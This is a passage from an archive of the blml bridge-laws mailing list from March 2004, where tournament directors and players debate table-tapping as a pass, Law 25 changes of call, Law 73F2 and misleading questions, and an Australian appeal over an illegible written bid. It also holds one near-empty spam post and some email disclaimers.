aware of the WBFLC's position under Theus I >have held the belief that the interpretation construes the >language of the laws correctly, [snip] >evidently some think this is the result of poor drafting - >which I doubt, considering the consistent approach of the >WBFLC over some twenty years or more. > ~ G ~ +=+ G*****n E******t wrote on Sept 28, 2002: ".....in Montreal I received clear notice, in the presence of the WBF Executive, that the new laws must be in words that do not brook alternative interpretations." G*****n E******t wrote on Oct 28, 2002 "Periodically I used to remark that when no definition is provided in the law book one refers to a standard English dictionary." :-) Best wishes RJH << +=+ And? I agree I wrote both of those things - but what bearing do they have on the matter, other than to allow that Kaplan thought that absence of a statement in the laws was basis enough to know it does not apply? If he had meant it he could have written 'subject to Law 80F' in some or all of Laws 40D, 40E, 78D and 80E but he did not. He stayed with the already established position of the WBFLC, and I was in agreement with him. ~ Grattan ~ +=+ From nancy@dressing.org Wed Mar 17 04:41:32 2004 From: nancy@dressing.org (Nancy T Dressing) Date: Tue, 16 Mar 2004 23:41:32 -0500 Subject: [blml] Pass out seat action? References: Message-ID: <004a01c40bda$20c73a00$6401a8c0@hare> They don't tap the table or put away their bid cards early in my games!!! It is surprising how the pass cards are appearing more often in other games also. Players seem to enjoy pointing out to the "tappers" that it is not a bid. Just work on it and it will happen..... just like waiting for the stop card!!!! Nancy ----- Original Message ----- From: "Ed Reppert" To: "blml" Sent: Monday, March 15, 2004 11:37 PM Subject: Re: [blml] Pass out seat action? > > On Monday, Mar 15, 2004, at 08:37 US/Eastern, Nancy T Dressing wrote: > > > I think "tapping the table" is a poker, blackjack, etc. custom. Not > > bridge...... > > Heh. When I took up duplicate in England, about 13 years ago, I learned > that tapping the table signifies an alert. So now, when people tap the > table, I ask them to please clarify - "are you alerting something?" > > Too damn many times I've seen this at the table: 1NT on my right, pass, > 3NT on my left, pass, tap, the opponents (and often my partner, > lemming-like) pick up their bidding cards. I have been saying at this > point "excuse me, the auction is not over" and waiting until all cards > are back on the table (including RHO's final pass) before calling. > Maybe I should be calling the TD. > > NB: in this example, I was almost certainly going to pass, but there > have been some auctions in which I was contemplating some other action. > > As for it not being a bridge custom, around here we normally play 24 > boards a session. I doubt there are more than 3 or 4 boards a session > in which someone has *not* tapped the table at some point. But it's an > illegal custom, and I'd like to see it stamped out. Not that I have a > chance in hell of seeing it happen. :( > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > > > From richard.hills@immi.gov.au Wed Mar 17 06:22:49 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 17 Mar 2004 16:22:49 +1000 Subject: [blml] ethics or Ethics (was Should ... infractions) Message-ID: Wayne Burrows: [snip] >>It would be much simpler if the laws said what they meant. David Stevenson: >Sure it would. It also would be nice to [snip] >teach people never to be rude, [snip] >But it is not going to happen - any of the above - because >each one is a practical impossibility. So why worry about >what we are not going to get? Richard James Hills: A nice try at reductio ad absurdum by David, but in my opinion David's reasoning is not quite apposite. Sure, it was Edgar Kaplan who first stated the bridge version of Godel's Theorem, "No matter how well-written the Laws, there is always room for ambiguity." But that is not an argument against improving the enforcement of Law 74A2. Players can asymptotically approach the ideal of "never to be rude". Nor is that an argument against improving the clarity of the Laws. The Laws can asymptotically approach the ideal of "saying what they mean". Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From jaapvanderneut@hotmail.com Wed Mar 17 08:01:59 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Wed, 17 Mar 2004 09:01:59 +0100 Subject: [blml] Pass out seat action? References: <004a01c40bda$20c73a00$6401a8c0@hare> Message-ID: > They don't tap the table or put away their bid cards early in my games!!! > It is surprising how the pass cards are appearing more often in other games > also. Players seem to enjoy pointing out to the "tappers" that it is not a > bid. Just work on it and it will happen..... just like waiting for the stop > card!!!! Well I guess all this is a question of local culture. I have to admit that both at Dutch top level and international it is quite normal for the third pass never to arrive. Very often the pass out seats starts picking up the bidding cards (he might be pointing at a pass card or so). Specially in those common situations were a pass is more or less obvious to all. Even more so with screens, in real life we seldom pass the tray with three passes (it is considered good manners to leave complicated sequences on the tray for explanations). The other side will see an (half) empty tray (and will hear the other side picking up the cards). Why? Simply because it saves time. Now of course you can start a war about correct procedure. But if picking up your cards, or tapping, or emptying the tray, or whatever, is the locally accepted way of expressing the third consective pass, then IMHO that pass has been made in the legal sense. It is just one of those things you cannot predict when you replace one procedure (vocal bidding) by another (bidding boxes). The same problem exists in natural language. When the (big) majority of the population consistently makes a grammatical 'error' then probably the language has changed rather than that the teachers are right. Jaap ----- Original Message ----- From: "Nancy T Dressing" To: "blml" Sent: Wednesday, March 17, 2004 5:41 AM Subject: Re: [blml] Pass out seat action? > > They don't tap the table or put away their bid cards early in my games!!! > It is surprising how the pass cards are appearing more often in other games > also. Players seem to enjoy pointing out to the "tappers" that it is not a > bid. Just work on it and it will happen..... just like waiting for the stop > card!!!! > Nancy > > > ----- Original Message ----- > From: "Ed Reppert" > To: "blml" > Sent: Monday, March 15, 2004 11:37 PM > Subject: Re: [blml] Pass out seat action? > > > > > > On Monday, Mar 15, 2004, at 08:37 US/Eastern, Nancy T Dressing wrote: > > > > > I think "tapping the table" is a poker, blackjack, etc. custom. Not > > > bridge...... > > > > Heh. When I took up duplicate in England, about 13 years ago, I learned > > that tapping the table signifies an alert. So now, when people tap the > > table, I ask them to please clarify - "are you alerting something?" > > > > Too damn many times I've seen this at the table: 1NT on my right, pass, > > 3NT on my left, pass, tap, the opponents (and often my partner, > > lemming-like) pick up their bidding cards. I have been saying at this > > point "excuse me, the auction is not over" and waiting until all cards > > are back on the table (including RHO's final pass) before calling. > > Maybe I should be calling the TD. > > > > NB: in this example, I was almost certainly going to pass, but there > > have been some auctions in which I was contemplating some other action. > > > > As for it not being a bridge custom, around here we normally play 24 > > boards a session. I doubt there are more than 3 or 4 boards a session > > in which someone has *not* tapped the table at some point. But it's an > > illegal custom, and I'd like to see it stamped out. Not that I have a > > chance in hell of seeing it happen. :( > > > > > > _______________________________________________ > > blml mailing list > > blml@rtflb.org > > http://www.amsterdamned.org/mailman/listinfo/blml > > > > > > > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From ehaa@starpower.net Wed Mar 17 13:11:01 2004 From: ehaa@starpower.net (Eric Landau) Date: Wed, 17 Mar 2004 08:11:01 -0500 Subject: [blml] Pass out seat action? In-Reply-To: References: <004a01c40b46$99908ca0$6056dccb@noeltsui0kso1i> Message-ID: <5.2.0.9.0.20040317080737.00a20330@pop.starpower.net> At 09:00 PM 3/16/04, David wrote: >Ed Reppert wrote >> >>On Tuesday, Mar 16, 2004, at 06:05 US/Eastern, Noel and Pamela wrote: >> >>>There are often not enough Pass cards in the box, so the Tap at our club >>>(when out of Passes) is usually accepted as a Pass. >> >>If there aren't enough pass cards, perhaps one should inform the TD >>that her bidding boxes are deficient, and ask for either more cards >>or a new box. >> >>Yeah, yeah, takes time, delays the game, yada, yada. :-) I suspect >>most directors would be happy to correct such deficiencies, if they >>knew about them. > > What is wrong with taking the pass card form one end and adding it > to the other? That's the norm hereabouts when you run out. Around here it is common to ask an opponent -- they've presumably been bidding -- for the loan of an idle pass card. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From john@asimere.com Wed Mar 17 15:46:48 2004 From: john@asimere.com (John (MadDog) Probst) Date: Wed, 17 Mar 2004 15:46:48 +0000 Subject: [blml] L25A or L25B In-Reply-To: References: Message-ID: In article , Steve Wright writes >I'm sure we've discussed this before, but I cannot recall what >conclusion we came to... > >1S (P) 4D[1] (P) >P[2] > >[1] Alerted and explained as a splinter agreeing spades >[2] Pass card placed on the table, followed by "Sorry, I meant to sign >off in 4S" > >Mechanical error [L25A] or Change of mind [L25B]? IMO 25B; change of mind; and the call has been made. > > -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From t.kooyman@worldonline.nl Wed Mar 17 16:35:18 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Wed, 17 Mar 2004 17:35:18 +0100 Subject: [blml] Explain References: <003001c4079f$04a911c0$18d8403e@multivisionoem> Message-ID: <005a01c40c3d$dff41430$eafaf1c3@LNV> Jean-Pierre: > you appear, at least here, isolated in your opinion > , > +=+ It can be extremely lonely defending the law > as it is. +=+ It is even lonier when one wants to defend the law as it is not. I don't like this kind of arguing. Let us at least assume that both of us are trying to uphold the laws as they are. And mourn that such different approaches are possible. I rest my case. It does't make sense to answer the following babble, babble again. I will wake up when you or somebody else comes up with a real case in which after a question concerning the meaning of a call made an opponent claims that he was misled. Followed by a decision under L73F2 by the TD and the AC giving him redress. Not that such case will convince me that you are right, but it will convince me that we are dealing with a real problem and not with somebody extremely lonely defending the laws as he thinks they are. The case you gave before hasn't anything to do with this subject which is not very helpful. Remember: I said before that I find it possible to construct such a case, but it will stand extremely lonely. ton > I am not arguing that it is satisfactory, but > I am defending its current state against distorted > representation of what it provides. Whatever > our standing none of us alters the law by merely > asserting that it is what it is not. The requirement > is action by the WBFLC as a corporate body to > alter the law or re-interpret it. What it does provide > currently is written in Law 73F2; that law is there > for TDs and ACs to apply as their judgement > determines. No gloss has been put on it and there > is nothing in the laws to say that exercise of the > right to ask a question will never create an > inference - and one that may either give UI to > partner or give a false impression to opponent. > Rather the contrary - when writing that law we > found a need to make provision to deal with either > situation when it happens. . > It is, too, naive to suggest that no front rank > international player will ever transgress in this area > of the law, whether or no inadvertently. The law > does say that if in fact his question causes an > opponent to be misled he must have a demonstrable > bridge reason for asking. (A personal view is that > such being the law it argues for refraining from > enquiry when the player does not have such a > reason - if the player does enquire in those > circumstances he does so at risk.) > ~ Grattan ~ +=+ From blml@blakjak.com Wed Mar 17 17:03:15 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 17 Mar 2004 17:03:15 +0000 Subject: [blml] Explain In-Reply-To: <005a01c40c3d$dff41430$eafaf1c3@LNV> References: <003001c4079f$04a911c0$18d8403e@multivisionoem> <005a01c40c3d$dff41430$eafaf1c3@LNV> Message-ID: Ton Kooijman wrote >Jean-Pierre: > >> you appear, at least here, isolated in your opinion >> , > > >> +=+ It can be extremely lonely defending the law >> as it is. +=+ > >It is even lonier when one wants to defend the law as it is not. I don't >like this kind of arguing. Let us at least assume that both of us are trying >to uphold the laws as they are. And mourn that such different approaches are >possible. > >I rest my case. It does't make sense to answer the following babble, babble >again. > >I will wake up when you or somebody else comes up with a real case in which >after a question concerning the meaning of a call made an opponent claims >that he was misled. Followed by a decision under L73F2 by the TD and the AC >giving him redress. Not that such case will convince me that you are right, >but it will convince me that we are dealing with a real problem and not with >somebody extremely lonely defending the laws as he thinks they are. The case >you gave before hasn't anything to do with this subject which is not very >helpful. There was a case in England many years ago where the king of a suit was led. Declarer asked several questions about whether it could have been from AK, or KQ, and eventually ducked holding AJx. Not surprisingly his opponent fell into the bath. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From dr_junwrithed@krovatka.net Wed Mar 17 17:11:58 2004 From: dr_junwrithed@krovatka.net (Csaba.forgacs) Date: Thu, 18 Mar 2004 02:11:58 +0900 Subject: [blml] Feel Young Again .... .. . . . confidants Message-ID: HGH






gridiron , bullying From HarrisR@missouri.edu Wed Mar 17 22:22:41 2004 From: HarrisR@missouri.edu (Robert E. Harris) Date: Wed, 17 Mar 2004 16:22:41 -0600 Subject: [blml] Entitled to know (was Standard) In-Reply-To: References: Message-ID: > >Richard James Hills: Snip > >Some time ago, I had an extended blml conversation with gafiated... Definition of gafiated, please. REH -- Robert E. Harris Phone: 573-882-3274. Fax: 573-882-2754 Department of Chemistry, University of Missouri-Columbia Columbia, Missouri, USA 65211 From richard_willey@hotmail.com Wed Mar 17 22:29:57 2004 From: richard_willey@hotmail.com (richard willey) Date: Wed, 17 Mar 2004 22:29:57 +0000 Subject: [blml] Entitled to know (was Standard) Message-ID: Get Away From It All ..ted >From: "Robert E. Harris" >To: richard.hills@immi.gov.au, blml@rtflb.org >Subject: Re: [blml] Entitled to know (was Standard) >Date: Wed, 17 Mar 2004 16:22:41 -0600 > >> >>Richard James Hills: > > >Snip > >> >>Some time ago, I had an extended blml conversation with gafiated... > >Definition of gafiated, please. > >REH >-- >Robert E. Harris Phone: 573-882-3274. Fax: 573-882-2754 >Department of Chemistry, University of Missouri-Columbia >Columbia, Missouri, USA 65211 > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml _________________________________________________________________ Check out MSN PC Safety & Security to help ensure your PC is protected and safe. http://specials.msn.com/msn/security.asp From t.kooyman@worldonline.nl Wed Mar 17 22:56:49 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Wed, 17 Mar 2004 23:56:49 +0100 Subject: [blml] Explain References: <003001c4079f$04a911c0$18d8403e@multivisionoem> <005a01c40c3d$dff41430$eafaf1c3@LNV> Message-ID: <009701c40c73$25016fc0$eafaf1c3@LNV> . ton: >>The case > >you gave before hasn't anything to do with this subject which is not very > >helpful. ('you' being Grattan) David: > There was a case in England many years ago where the king of a suit > was led. Declarer asked several questions about whether it could have > been from AK, or KQ, and eventually ducked holding AJx. Not > surprisingly his opponent fell into the bath. Goodness David, this case hasn't anything to do with the subject either. We all know that these cases happen and that 73F2 applies. The issue here is the following: A player asks for the meaning of a call. He does so without the answer having any effect on his action, having a 4-3-3-3 yarborough (is there a special name for that winner?). First statement from our splendid isolated island: 'Such question should not be allowed'. I don't agree with that approach. Second statement to support the first: with such holding the player doesn't have a bridge reason for asking. I don't agree with that approach. Third statement as a conclusion: since there is no bridge reason for such a question L73F2 applies and opponent-declarer may claim damage being misled. And he certainly will be misled because , garded by the rules and regulations on this island, he now assumes asker not to have this 4-3-3-3 yarborough, but the 3 queens he is missing. How else could he ask? In my opinion the only word valid in L73F2 in such a case is 'innocent' as a qualification for this declarer. Let me give the example in which case I wouldn't be surprised whewn L73F2 will be used. NS bid to a slam in a suit, and on the 4NT South answers 5S. Now West asks about 5S and gets the answer '3 aces'. West after looking in his cards and showing surprise: '3 out of 5?'. 'No we don't play that'. Once more showing surprise: 'and you don't play 5S showing 2 aces and the trump queen?' 'No, we don't play that either'. Mumbling 'impossible' west now passes and North doesn't dare to bid the slam anymore. After making 7 West appears to have a 4-3-3-3 yarborough and North asks him why he suggested so strongly to possess 2 aces. West denies and tells that he was just interested in the meaning of the 5S bid. TD! Even in this case I am not sure that the majority in blml will agree to award a slam to NS, but we probably are (almost) unanimous in awarding EW a big penalty. ton From ereppert@rochester.rr.com Thu Mar 18 00:25:48 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 17 Mar 2004 19:25:48 -0500 Subject: [blml] Pass out seat action? In-Reply-To: <004a01c40bda$20c73a00$6401a8c0@hare> Message-ID: On Tuesday, Mar 16, 2004, at 23:41 US/Eastern, Nancy T Dressing wrote: > They don't tap the table or put away their bid cards early in my > games!!! > It is surprising how the pass cards are appearing more often in other > games > also. Players seem to enjoy pointing out to the "tappers" that it is > not a > bid. Just work on it and it will happen..... just like waiting for > the stop > card!!!! I don't run any of the clubs around here, I just play in 'em. When I bring up things like this with the folks who do run 'em, I get "thanks for your input" and that's the end of it. From blml@blakjak.com Thu Mar 18 00:49:26 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 18 Mar 2004 00:49:26 +0000 Subject: [blml] Explain In-Reply-To: <009701c40c73$25016fc0$eafaf1c3@LNV> References: <003001c4079f$04a911c0$18d8403e@multivisionoem> <005a01c40c3d$dff41430$eafaf1c3@LNV> <009701c40c73$25016fc0$eafaf1c3@LNV> Message-ID: Ton Kooijman wrote >. ton: > >>>The case >> >you gave before hasn't anything to do with this subject which is not very >> >helpful. ('you' being Grattan) > > >David: >> There was a case in England many years ago where the king of a suit >> was led. Declarer asked several questions about whether it could have >> been from AK, or KQ, and eventually ducked holding AJx. Not >> surprisingly his opponent fell into the bath. > > > >Goodness David, this case hasn't anything to do with the subject either. We >all know that these cases happen and that 73F2 applies. Oh, it has nothing ot do with the subject? I am sorry, you asked a specific question, I gave you a correct answer, and you do not like it. Fine. If you do not want such an answer to your question perhaps you should ask a different question. >The issue here is the following: > >A player asks for the meaning of a call. He does so without the answer >having any effect on his action, having a 4-3-3-3 yarborough (is there a >special name for that winner?). ... exactly like when he asks knowing it cannot affect his action with AJx .... >First statement from our splendid isolated island: 'Such question should not >be allowed'. I don't agree with that approach. Which island would that be? I know the EBU OB has been misquoted in the past, but since the actual reg has been quoted here in full recently I presume you are not assuming that. So where are you talking about? >Second statement to support the first: with such holding the player doesn't >have a bridge reason for asking. I don't agree with that approach. Absolutely. He has a perfectly good bridge reason for asking with AJx: his opponents are going to fall into the Bath Coup if he asks. Good approach, Ton. >Third statement as a conclusion: since there is no bridge reason for such a >question L73F2 applies and opponent-declarer may claim damage being misled. >And he certainly will be misled because , garded by the rules and >regulations on this island, he now assumes asker not to have this 4-3-3-3 >yarborough, but the 3 queens he is missing. How else could he ask? In my >opinion the only word valid in L73F2 in such a case is 'innocent' as a >qualification for this declarer. Let me get this straight. You are saying that asking questions cannot mislead, and ask for an example. I give an example, you say that one does not count. I do not know what you are trying to prove, Ton, but most people who read this list will stop cheating as far as they can. When we get the much larger group of ignorant people that do things that cheats would do, but are not cheating because of their ignorance, most people would agree we should try to control those actions. I am surprised that you do not seem to be one of those people. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From richard.hills@immi.gov.au Thu Mar 18 02:25:41 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 18 Mar 2004 12:25:41 +1000 Subject: [blml] Entitled to know (was Standard) Message-ID: Richard James Hills: [snip] >>Some time ago, I had an extended blml conversation with gafiated >>blmler Alain Gottcheiner... [snip] Robert E. Harris: >Definition of gafiated, please. Richard James Hills: Sixty years ago, nerds like us could not get our dogmatic quibbling addiction fixed by shooting up polemics on blml. Instead, nerdish science fiction fans self-published their polemics in mimeographed fanzines. Like all of us nerds, those nerds of First Fandom created their own jargonistic nomenclature. Every so often, a nerd who had prolificly published a fanzine would decide to Get Away From It All, so consequential fannish nelogisms were the verb gafia, and the adjective gafiated. Alain, are you still lurking out there? Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Thu Mar 18 06:32:48 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 18 Mar 2004 16:32:48 +1000 Subject: [blml] Is scrawling an infraction? Message-ID: Note: Australia still uses written bidding on bidding pads in most events. The attached appeal suggests that calligraphic Aussie players have a competitive disadvantage compared to scrawling Aussie players. It seems that the scrawlers are more likely to entangle their opponents in Law 21A. :-( Best wishes Richard James Hills * * * Appeal Report . ANC2 Date: July 2003 Event: ABPC Women's stage 2 Director: I.Dahler Appeal Panel: B.Neill (chair) M.Prescott K.Crow-Mai P.Reynolds V.Cummings Dlr:E KJ953 NS vul ---- QJ8 QT652 42 AT A97532 KQJ8 K65 T7432 K3 AJ Q876 T64 A9 9874 WEST NORTH EAST SOUTH --- --- 1D Pass 1H 2H 3H 3S 4H Pass Pass 4S Pass Pass Pass Final Contract and result: 4S, making, +620 N/S Tournament Director's Report and decision: After the bid of 4H, North passed and then North asked is that 6H. North stated that she had read the 4H as 6H (unauthorised information to partner). South now bid 4S. Both East and West did not believe South had her bid of 4S. Under Law 21A I had no recourse but to adjust the score back to 4H by West, making. Score adjusted to 4H W, making, +620 E/W Appellant's claim The 4H bid was read by me as 6H. I tender a previous sample of West's handwriting to support this. When West announced that the contract was 4H, I was naturally startled. I said "What," or something similar. The director was summoned and she stated that it was clearly 4H. I very strongly disagree that my surprise implied that I would have bid if I had known that the bid was 4H. I would not have bid. I have told partner my hand. Appeal Committee decision Whilst the committee agrees totally that North had no intention of bidding or passing information to partner, we are also of the firm opinion that South did not act upon North's expression of surprise. However, the committtee believes that "pass" is a viable alternative to 4S and that it must by Law uphold the director's decision. -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Thu Mar 18 07:16:42 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 18 Mar 2004 17:16:42 +1000 Subject: [blml] Explain Message-ID: Ton's example: [big snip] >Third statement as a conclusion: since there is no >bridge reason for such a question L73F2 applies and >opponent-declarer may claim damage being misled. > >And he certainly will be misled because, guarded by >the rules and regulations on this island, he now >assumes asker not to have this 4-3-3-3 yarborough, >but the 3 queens he is missing. How else could he >ask? In my opinion the only word valid in L73F2 in >such a case is 'innocent' as a qualification for >this declarer. RJH's second example: Off-topic note -> I deprecate dysphemistic language posted by another blmler/TD in response to Ton's example. That other blmler's posting could have been inadvertently misinterpreted by ingenues as a flaming attack on Ton's ethics. * * * In Zia Mahmood's autobiography "Bridge My Way", Zia related a true but ironical story which demonstrates that Ton's view of Law 73F2 might indeed have more practical validity than the dogmatic views of Ton's philosophical antagonists. Zia has often bid grand slams which require a two-way finesse for the queen of trumps. Zia has noted that the player holding the queen of trumps is meticulously careful to keep schtum at the end of the auction, so as not to draw any attention to themselves. After an auction to such a grand slam, Zia's LHO asked lots of questions. Zia triumphantly finessed for the queen of trumps through his RHO. But Zia's LHO had the queen of trumps. LHO was a beginner who had an artless interest in the auction. The other blmler/TD might have used Law 73F2 to give Zia his grand slam (if pigs flew and Zia had bothered to summon the TD). But I prefer Ton's style of assuming that a beginner's artless interest in the auction cannot be deemed an infraction of Law 73F2. I oppose the practical result of the dogma of Ton's philosphical antagonists which, in my opinion, would result in a disproportionately higher percentage of bunnies being deemed to infract Law 73F2, than the percentage of experts being deemed to infract Law 73F2. As an expert, I hardly ever need to ask questions about auctions. Due to my experience, I already know what is going on. But for bunnies, many auctions are new and different, so they naturally ask many more questions. Driving bunnies away from the game because they have a (justifiable or not) belief that a TD has incorrectly invoked Law 73F2 against them is, in my opinion, a way to destruction. Carthago delenda est. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From ereppert@rochester.rr.com Thu Mar 18 07:43:29 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 18 Mar 2004 02:43:29 -0500 Subject: [blml] Entitled to know (was Standard) In-Reply-To: Message-ID: On Wednesday, Mar 17, 2004, at 21:25 US/Eastern, richard.hills@immi.gov.au wrote: > Every so often, a nerd who had prolificly published a fanzine would > decide to Get Away From It All, so consequential fannish nelogisms > were the verb gafia, and the adjective gafiated. FIJAGDH. :-) From grandeval@vejez.fsnet.co.uk Thu Mar 18 07:52:28 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Thu, 18 Mar 2004 07:52:28 -0000 Subject: [blml] Explain References: <00e901c40b3e$de736980$329868d5@tinyhrieuyik> Message-ID: <002d01c40cbe$0f7d3580$c5dd193e@4nrw70j> Grattan Endicott To: Sent: Tuesday, March 16, 2004 10:10 AM Subject: Re: [blml] Explain > > I assume that there are occasional successful appeals > about a naive player asking about bid of the suit he > wants led or bid. > > I don't think there has ever been a successful appeal > ruling about the more frequent occurrence of an > experienced player asking about a bid of a suit that he > does *not* want led or bid. > +=+ There is the case, quoted from time to time by Kojak, of the player holding Q x x in trumps, who asked questions about the meaning of the auction in relation to top trump honours. On the question more generally let me repeat for the record that there is no position minuted by the WBFLC and therefore what ton and I, and others, have written are personal opinions. Directors, ACs, NBOs and Zones are free to judge the application of this law to cases as they they think right. My opinion reflects discussions with EK when he introduced the concept of the "demonstrable bridge reason" to the text of the 1987 Laws and what I heard previously in the WBFLC when Ed Theus was chairman. If we want something different we need to settle what we want and then find words to express it. ~ Grattan ~ +=+ From ereppert@rochester.rr.com Thu Mar 18 08:20:53 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 18 Mar 2004 03:20:53 -0500 Subject: [blml] Is scrawling an infraction? In-Reply-To: Message-ID: <2C092EB2-78B5-11D8-A360-0030656F6826@rochester.rr.com> On Thursday, Mar 18, 2004, at 01:32 US/Eastern, richard.hills@immi.gov.au wrote: > Tournament Director's Report and decision: > > After the bid of 4H, North passed and then North > asked is that 6H. North stated that she had read > the 4H as 6H (unauthorised information to > partner). South now bid 4S. Both East and West > did not believe South had her bid of 4S. > > Under Law 21A I had no recourse but to adjust the > score back to 4H by West, making. This seems to be an inaccurate statement. Law 21A says that *North* in this case has no recourse. The score was not adjusted because of misinformation from EW, but (presumably) because South was adjudged to have violated Law 16. > Score adjusted to 4H W, making, +620 E/W > > Appellant's claim > The 4H bid was read by me as 6H. I tender a > previous sample of West's handwriting to support > this. > > When West announced that the contract was 4H, I > was naturally startled. I said "What," or something > similar. The director was summoned and she stated > that it was clearly 4H. > > I very strongly disagree that my surprise implied > that I would have bid if I had known that the bid > was 4H. This is an important assertion. See below. > I would not have bid. I have told partner > my hand. > > Appeal Committee decision > Whilst the committee agrees totally that North had > no intention of bidding or passing information to > partner, we are also of the firm opinion that South > did not act upon North's expression of surprise. > However, the committtee believes that "pass" is a > viable alternative to 4S and that it must by Law > uphold the director's decision. This makes no sense. The elements of the law here are: 1. Did a player convey UI to his partner? 2. Did that player's partner choose amongst logical alternatives one that could have been demonstrably suggested by the UI? 3. Were this pair's opponents damaged by that choice? The AC's assertion that North "had no intention of passing information" leaves open the first question. However, the committee apparently didn't completely address North's assertion I remarked on above - which is, in effect, that his surprise did *not* convey UI. If it didn't, there was no infraction, and no adjustment is warranted. Or are we to assume (I hate that word, especially in legal proceedings) that implicit in the committee's agreement is the assertion that UI *was* passed? I think these adjudications carry the obligation not to leave such things implicit, but to make them explicit. Put it another way: the committee decision reads as if they believe that the mere fact that a "viable alternative" (leaving aside the fact that "viable" and "logical" have completely different meanings) exists requires a score adjustment. As to the question in the subject of this thread, I would suggest that if the regulations implementing written bidding do not include some reference to legibility, they are flawed. IAC, I would suggest to contestants that they question each and every written bid that is not clearly legible. Yeah, I know, takes too much time. Tough. Maybe after a few sessions of such questions, folks will learn to write more clearly. From ereppert@rochester.rr.com Thu Mar 18 08:27:16 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 18 Mar 2004 03:27:16 -0500 Subject: [blml] Explain In-Reply-To: Message-ID: <10681420-78B6-11D8-A360-0030656F6826@rochester.rr.com> On Thursday, Mar 18, 2004, at 02:16 US/Eastern, richard.hills@immi.gov.au wrote: > But I prefer Ton's style of assuming that a beginner's > artless interest in the auction cannot be deemed an > infraction of Law 73F2. [snip] This strikes a chord. I have several partners for whom the term "artless interest" is quite appropriate. My most regular partner these days, in fact, seems to ask "is that weak?" every time her RHO opens with a two bid other than clubs - in spite of the fact that *no one* around here plays anything *but* weak twos. > As an expert, I hardly ever need to ask questions about > auctions. Due to my experience, I already know what is > going on. But for bunnies, many auctions are new and > different, so they naturally ask many more questions. That, and the fact that they have no clue that asking may put constraints on partner. From gesta@tiscali.co.uk Thu Mar 18 08:44:58 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Thu, 18 Mar 2004 08:44:58 -0000 Subject: [blml] Explain References: <003001c4079f$04a911c0$18d8403e@multivisionoem> <005a01c40c3d$dff41430$eafaf1c3@LNV> <009701c40c73$25016fc0$eafaf1c3@LNV> Message-ID: <000201c40cc6$99fe1500$4600e150@multivisionoem> Grattan Endicott To: Sent: Thursday, March 18, 2004 12:49 AM Subject: Re: [blml] Explain > > > Let me get this straight. You are saying that asking questions cannot > mislead, and ask for an example. I give an example, you say that one > does not count. > > I do not know what you are trying to prove, Ton, but most people who > read this list will stop cheating as far as they can. When we get the > much larger group of ignorant people that do things that cheats would > do, but are not cheating because of their ignorance, most people would > agree we should try to control those actions. > +=+ Perhaps 'educate', but it is the case that players expect, and are entitled to, redress when it happens and I 